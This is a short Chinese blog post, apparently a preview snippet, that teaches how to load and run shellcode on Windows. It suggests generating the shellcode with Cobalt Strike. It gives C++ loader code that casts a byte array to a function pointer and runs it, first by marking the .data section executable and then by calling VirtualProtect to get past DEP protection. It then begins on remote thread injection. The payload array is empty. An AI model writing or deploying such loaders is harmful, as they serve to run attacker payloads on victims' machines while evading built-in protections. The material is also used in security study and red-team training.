shellcode加载执行

shellcode执行 具体何谓shellcode可以看这篇文章 https://srcblog.neko25.top/index.php/archives/28/ 聊了聊shellcode的基础,windows与linux原理相同,方便起见直接使用cs生成 指针执行 将shellcode存储与数组,并取数组地址,将地址转换为void无参数函数指针,并去执行,代码如下 #include <iostream> #include <Windows.h> // 指定链接器选项,修改.data段为可读、可写、可执行 #pragma comment(linker, "/section:.data,RWE") // shellcode unsigned char hexData[990] = { }; int main() { // 将hexData转换为函数指针并执行 ((void(*)(void)) & hexData)(); return 0; } 这也是网上很多shellcodeloader教程给出的第一个最基础的loader ,但其实是有问题的,当代的windows都有一个叫做DEP数据执行保护的安全机制,在编写此类的loader时需要手动修改他,可以使用VirtualProtect BOOL VirtualProtect( LPVOID lpAddress, // 指向要修改的内存区域的起始地址 SIZE_T dwSize, // 需要修改的内存区域大小,以字节为单位 DWORD flNewProtect, // 新的保护属性(如只读、读写、可执行等) PDWORD lpflOldProtect // 保存旧的保护属性的指针 ); int main() { VirtualProtect(hexData, sizeof(hexData), PAGE_EXECUTE_READWRITE, NULL); // 将hexData转换为函数指针并执行 ((void(*)(void)) & hexData)(); return 0; } 远程线程注入 简单理解,在已存在的进程中创建一个空间运行注入shellcode的内存空间 ...

October 12, 2024 · 3 min · 494 words · neko